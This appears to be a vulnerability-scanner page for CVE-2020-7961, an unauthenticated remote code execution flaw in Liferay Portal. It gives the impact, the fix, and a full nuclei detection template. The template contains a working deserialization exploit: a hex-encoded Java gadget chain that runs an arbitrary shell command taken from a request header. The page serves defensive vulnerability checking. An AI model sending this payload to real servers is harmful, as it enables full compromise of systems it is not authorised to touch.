Liferay Portal Unauthenticated < 7.2.1 CE GA2 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS).

Impact

Unauthenticated attackers can execute arbitrary code via JSON web services, leading to complete server compromise and access to all portal data.

Fix

Upgrade Liferay Portal to version 7.2.1 CE GA2 or later to mitigate the vulnerability.

How to confirm it

Send: POST /api/jsonws/invoke
Positive when: matches /OS Name:.*Microsoft Windows/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-7961 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-7961

info:
  name: Liferay Portal Unauthenticated < 7.2.1 CE GA2 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: Liferay Portal prior to 7.2.1 CE GA2 allows remote attackers to execute arbitrary code via JSON web services (JSONWS).
  impact: |
    Unauthenticated attackers can execute arbitrary code via JSON web services, leading to complete server compromise and access to all portal data.
  remediation: |
    Upgrade Liferay Portal to version 7.2.1 CE GA2 or later to mitigate the vulnerability.
  reference:
    - https://www.synacktiv.com/en/publications/how-to-exploit-liferay-cve-2020-7961-quick-journey-to-poc.html
    - https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
    - https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/id/117954271
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7961
    - http://packetstormsecurity.com/files/157254/Liferay-Portal-Java-Unmarshalling-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7961
    cwe-id: CWE-502
    epss-score: 0.99905
    epss-percentile: 0.99965
    cpe: cpe:2.3:a:liferay:liferay_portal:*:*:*:*:community:*:*:*
  metadata:
    max-request: 2
    vendor: liferay
    product: liferay_portal
    shodan-query:
      - http.favicon.hash:129457226
      - cpe:"cpe:2.3:a:liferay:liferay_portal"
    fofa-query: icon_hash=129457226
  tags: cve2020,cve,packetstorm,rce,liferay,kev,vkev,vuln

http:
  - raw:
      - |
        POST /api/jsonws/invoke HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
        cmd2: {{command}}

        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth={{to_lower(rand_text_alpha(5))}}&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D

    payloads:
      command:
        - "systeminfo" # Windows
        - "lsb_release -a" # Linux

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "OS Name:.*Microsoft Windows"
          - "Distributor ID:"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "Microsoft Windows (.*)"
          - "Distributor ID: (.*)"
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from